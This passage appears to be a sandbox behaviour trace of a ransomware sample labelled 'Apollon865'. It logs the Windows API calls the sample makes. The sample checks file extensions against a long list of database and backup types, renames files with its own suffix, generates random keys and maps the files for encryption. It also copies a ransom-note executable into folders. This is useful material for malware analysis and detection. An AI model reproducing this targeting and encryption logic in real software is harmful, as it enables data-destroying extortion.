	[0046.818] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0046.818] lstrlenW (lpString="mdt") returned 3
	[0046.818] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0046.818] lstrlenW (lpString="mfd") returned 3
	[0046.818] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0046.818] lstrlenW (lpString="mpd") returned 3
	[0046.818] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0046.818] lstrlenW (lpString="mrg") returned 3
	[0046.818] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0046.818] lstrlenW (lpString="mud") returned 3
	[0046.818] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0046.818] lstrlenW (lpString="mwb") returned 3
	[0046.818] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0046.818] lstrlenW (lpString="myd") returned 3
	[0046.818] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0046.818] lstrlenW (lpString="ndf") returned 3
	[0046.818] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0046.818] lstrlenW (lpString="nnt") returned 3
	[0046.818] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0046.818] lstrlenW (lpString="nrmlib") returned 6
	[0046.818] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0046.818] lstrlenW (lpString="ns2") returned 3
	[0046.818] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0046.818] lstrlenW (lpString="ns3") returned 3
	[0046.818] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0046.819] lstrlenW (lpString="ns4") returned 3
	[0046.819] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0046.819] lstrlenW (lpString="nsf") returned 3
	[0046.819] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0046.819] lstrlenW (lpString="nv") returned 2
	[0046.819] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0046.819] lstrlenW (lpString="nv2") returned 3
	[0046.819] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0046.819] lstrlenW (lpString="nwdb") returned 4
	[0046.819] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0046.819] lstrlenW (lpString="nyf") returned 3
	[0046.819] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0046.819] lstrlenW (lpString="odb") returned 3
	[0046.819] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0046.819] lstrlenW (lpString="odb") returned 3
	[0046.819] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0046.819] lstrlenW (lpString="oqy") returned 3
	[0046.819] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0046.819] lstrlenW (lpString="ora") returned 3
	[0046.819] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0046.819] lstrlenW (lpString="orx") returned 3
	[0046.819] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0046.819] lstrlenW (lpString="owc") returned 3
	[0046.819] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0046.819] lstrlenW (lpString="p96") returned 3
	[0046.819] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0046.819] lstrlenW (lpString="p97") returned 3
	[0046.819] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0046.819] lstrlenW (lpString="pan") returned 3
	[0046.819] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0046.819] lstrlenW (lpString="pdb") returned 3
	[0046.819] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0046.819] lstrlenW (lpString="pdm") returned 3
	[0046.819] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0046.819] lstrlenW (lpString="pnz") returned 3
	[0046.820] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0046.820] lstrlenW (lpString="qry") returned 3
	[0046.820] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0046.820] lstrlenW (lpString="qvd") returned 3
	[0046.820] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0046.820] lstrlenW (lpString="rbf") returned 3
	[0046.820] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0046.820] lstrlenW (lpString="rctd") returned 4
	[0046.820] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0046.820] lstrlenW (lpString="rod") returned 3
	[0046.820] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0046.820] lstrlenW (lpString="rodx") returned 4
	[0046.820] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0046.820] lstrlenW (lpString="rpd") returned 3
	[0046.820] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0046.820] lstrlenW (lpString="rsd") returned 3
	[0046.820] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0046.820] lstrlenW (lpString="sas7bdat") returned 8
	[0046.820] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0046.820] lstrlenW (lpString="sbf") returned 3
	[0046.820] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0046.820] lstrlenW (lpString="scx") returned 3
	[0046.820] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0046.820] lstrlenW (lpString="sdb") returned 3
	[0046.820] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0046.820] lstrlenW (lpString="sdc") returned 3
	[0046.820] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0046.820] lstrlenW (lpString="sdf") returned 3
	[0046.820] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0046.820] lstrlenW (lpString="sis") returned 3
	[0046.820] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0046.820] lstrlenW (lpString="spq") returned 3
	[0046.820] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0046.820] lstrlenW (lpString="te") returned 2
	[0046.820] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0046.820] lstrlenW (lpString="teacher") returned 7
	[0046.821] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0046.821] lstrlenW (lpString="tmd") returned 3
	[0046.821] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0046.821] lstrlenW (lpString="tps") returned 3
	[0046.821] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0046.821] lstrlenW (lpString="trc") returned 3
	[0046.821] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0046.821] lstrlenW (lpString="trc") returned 3
	[0046.821] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0046.821] lstrlenW (lpString="trm") returned 3
	[0046.821] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0046.821] lstrlenW (lpString="udb") returned 3
	[0046.821] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0046.821] lstrlenW (lpString="udl") returned 3
	[0046.821] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0046.821] lstrlenW (lpString="usr") returned 3
	[0046.821] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0046.821] lstrlenW (lpString="v12") returned 3
	[0046.821] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0046.821] lstrlenW (lpString="vis") returned 3
	[0046.821] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0046.821] lstrlenW (lpString="vpd") returned 3
	[0046.821] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0046.821] lstrlenW (lpString="vvv") returned 3
	[0046.821] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0046.821] lstrlenW (lpString="wdb") returned 3
	[0046.821] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0046.821] lstrlenW (lpString="wmdb") returned 4
	[0046.821] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0046.821] lstrlenW (lpString="wrk") returned 3
	[0046.821] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0046.821] lstrlenW (lpString="xdb") returned 3
	[0046.821] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0046.821] lstrlenW (lpString="xld") returned 3
	[0046.822] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0046.822] lstrlenW (lpString="xmlff") returned 5
	[0046.822] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0046.822] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Downloads\\desktop.ini.Apollon865") returned 48
	[0046.822] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Downloads\\desktop.ini" (normalized: "c:\\users\\public\\downloads\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Downloads\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\downloads\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0046.822] CreateFileW (lpFileName="C:\\Users\\Public\\Downloads\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\downloads\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0046.822] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=174) returned 1
	[0046.822] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0046.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0046.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0046.823] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0046.823] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0046.823] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.824] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0x160
	[0046.826] MapViewOfFile (hFileMappingObject=0x160, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x120000
	[0046.826] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
	[0046.827] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0046.827] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0046.827] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0046.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0046.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0046.827] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0046.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0046.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5aa3c8
	[0046.828] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0046.828] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0046.828] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0046.828] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0046.828] CloseHandle (hObject=0x160) returned 1
	[0046.828] CloseHandle (hObject=0x15c) returned 1
	[0046.828] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0046.828] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0046.828] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0046.828] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc09910, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dc09910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.828] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.828] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc09910, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dc09910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.828] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0046.828] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b50
	[0046.828] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Public\\Documents", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents"
	[0046.828] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca310 | out: hHeap=0x580000) returned 1
	[0046.829] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0046.829] lstrlenW (lpString="C:\\Users\\Public\\Documents") returned 25
	[0046.829] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents"
	[0046.829] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.829] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0046.829] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0046.829] GetLastError () returned 0x0
	[0046.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0046.829] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0046.829] CloseHandle (hObject=0x14c) returned 1
	[0046.829] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0046.829] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.829] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dc2fa70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dc2fa70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0046.830] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.830] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.830] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.830] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dc2fa70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dc2fa70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.830] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.830] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.830] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.830] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.830] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0046.830] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.830] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0046.830] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0046.830] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0046.830] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0046.830] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0046.830] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0046.830] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0046.830] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0046.830] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0046.830] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0046.830] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0046.830] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0046.830] lstrlenW (lpString="desktop.ini") returned 11
	[0046.830] lstrlenW (lpString="C:\\Users\\Public\\Documents\\*") returned 27
	[0046.830] lstrcpyW (in: lpString1=0x119e63c, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0046.830] lstrlenW (lpString="desktop.ini") returned 11
	[0046.830] lstrlenW (lpString="Apollon865") returned 10
	[0046.830] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0046.830] lstrlenW (lpString=".dll") returned 4
	[0046.830] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0046.830] lstrlenW (lpString=".lnk") returned 4
	[0046.830] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0046.831] lstrlenW (lpString=".ini") returned 4
	[0046.831] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0046.831] lstrlenW (lpString=".sys") returned 4
	[0046.831] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0046.831] lstrlenW (lpString="desktop.ini") returned 11
	[0046.831] lstrlenW (lpString="bak") returned 3
	[0046.831] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0046.831] lstrlenW (lpString="ba_") returned 3
	[0046.831] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0046.831] lstrlenW (lpString="dbb") returned 3
	[0046.831] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0046.831] lstrlenW (lpString="vmdk") returned 4
	[0046.831] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0046.831] lstrlenW (lpString="rar") returned 3
	[0046.831] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0046.831] lstrlenW (lpString="zip") returned 3
	[0046.831] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0046.831] lstrlenW (lpString="tgz") returned 3
	[0046.831] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0046.831] lstrlenW (lpString="vbox") returned 4
	[0046.831] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0046.831] lstrlenW (lpString="vdi") returned 3
	[0046.831] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0046.831] lstrlenW (lpString="vhd") returned 3
	[0046.831] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0046.831] lstrlenW (lpString="vhdx") returned 4
	[0046.831] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0046.831] lstrlenW (lpString="avhd") returned 4
	[0046.831] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0046.831] lstrlenW (lpString="db") returned 2
	[0046.831] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0046.831] lstrlenW (lpString="db2") returned 3
	[0046.831] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0046.831] lstrlenW (lpString="db3") returned 3
	[0046.831] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0046.832] lstrlenW (lpString="dbf") returned 3
	[0046.832] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0046.832] lstrlenW (lpString="mdf") returned 3
	[0046.832] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0046.832] lstrlenW (lpString="mdb") returned 3
	[0046.832] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0046.832] lstrlenW (lpString="sql") returned 3
	[0046.832] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0046.832] lstrlenW (lpString="sqlite") returned 6
	[0046.832] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0046.832] lstrlenW (lpString="sqlite3") returned 7
	[0046.832] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0046.832] lstrlenW (lpString="sqlitedb") returned 8
	[0046.832] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0046.832] lstrlenW (lpString="xml") returned 3
	[0046.832] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0046.832] lstrlenW (lpString="$er") returned 3
	[0046.832] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0046.832] lstrlenW (lpString="4dd") returned 3
	[0046.832] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0046.832] lstrlenW (lpString="4dl") returned 3
	[0046.832] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0046.832] lstrlenW (lpString="^^^") returned 3
	[0046.832] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0046.832] lstrlenW (lpString="abs") returned 3
	[0046.832] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0046.832] lstrlenW (lpString="abx") returned 3
	[0046.832] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0046.832] lstrlenW (lpString="accdb") returned 5
	[0046.832] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0046.833] lstrlenW (lpString="accdc") returned 5
	[0046.833] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0046.833] lstrlenW (lpString="accde") returned 5
	[0046.833] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0046.833] lstrlenW (lpString="accdr") returned 5
	[0046.833] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0046.833] lstrlenW (lpString="accdt") returned 5
	[0046.833] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0046.833] lstrlenW (lpString="accdw") returned 5
	[0046.833] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0046.833] lstrlenW (lpString="accft") returned 5
	[0046.833] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0046.833] lstrlenW (lpString="adb") returned 3
	[0046.833] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0046.833] lstrlenW (lpString="adb") returned 3
	[0046.833] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0046.833] lstrlenW (lpString="ade") returned 3
	[0046.833] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0046.833] lstrlenW (lpString="adf") returned 3
	[0046.833] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0046.833] lstrlenW (lpString="adn") returned 3
	[0046.833] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0046.833] lstrlenW (lpString="adp") returned 3
	[0046.833] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0046.833] lstrlenW (lpString="alf") returned 3
	[0046.833] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0046.833] lstrlenW (lpString="ask") returned 3
	[0046.833] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0046.833] lstrlenW (lpString="btr") returned 3
	[0046.833] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0046.833] lstrlenW (lpString="cat") returned 3
	[0046.833] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0046.833] lstrlenW (lpString="cdb") returned 3
	[0046.833] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0046.833] lstrlenW (lpString="ckp") returned 3
	[0046.834] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0046.834] lstrlenW (lpString="cma") returned 3
	[0046.834] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0046.834] lstrlenW (lpString="cpd") returned 3
	[0046.834] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0046.834] lstrlenW (lpString="dacpac") returned 6
	[0046.834] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0046.834] lstrlenW (lpString="dad") returned 3
	[0046.834] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0046.834] lstrlenW (lpString="dadiagrams") returned 10
	[0046.834] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0046.834] lstrlenW (lpString="daschema") returned 8
	[0046.834] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0046.834] lstrlenW (lpString="db-journal") returned 10
	[0046.834] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0046.834] lstrlenW (lpString="db-shm") returned 6
	[0046.834] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0046.834] lstrlenW (lpString="db-wal") returned 6
	[0046.834] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0046.834] lstrlenW (lpString="dbc") returned 3
	[0046.834] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0046.834] lstrlenW (lpString="dbs") returned 3
	[0046.834] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0046.834] lstrlenW (lpString="dbt") returned 3
	[0046.834] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0046.834] lstrlenW (lpString="dbv") returned 3
	[0046.834] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0046.834] lstrlenW (lpString="dbx") returned 3
	[0046.834] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0046.834] lstrlenW (lpString="dcb") returned 3
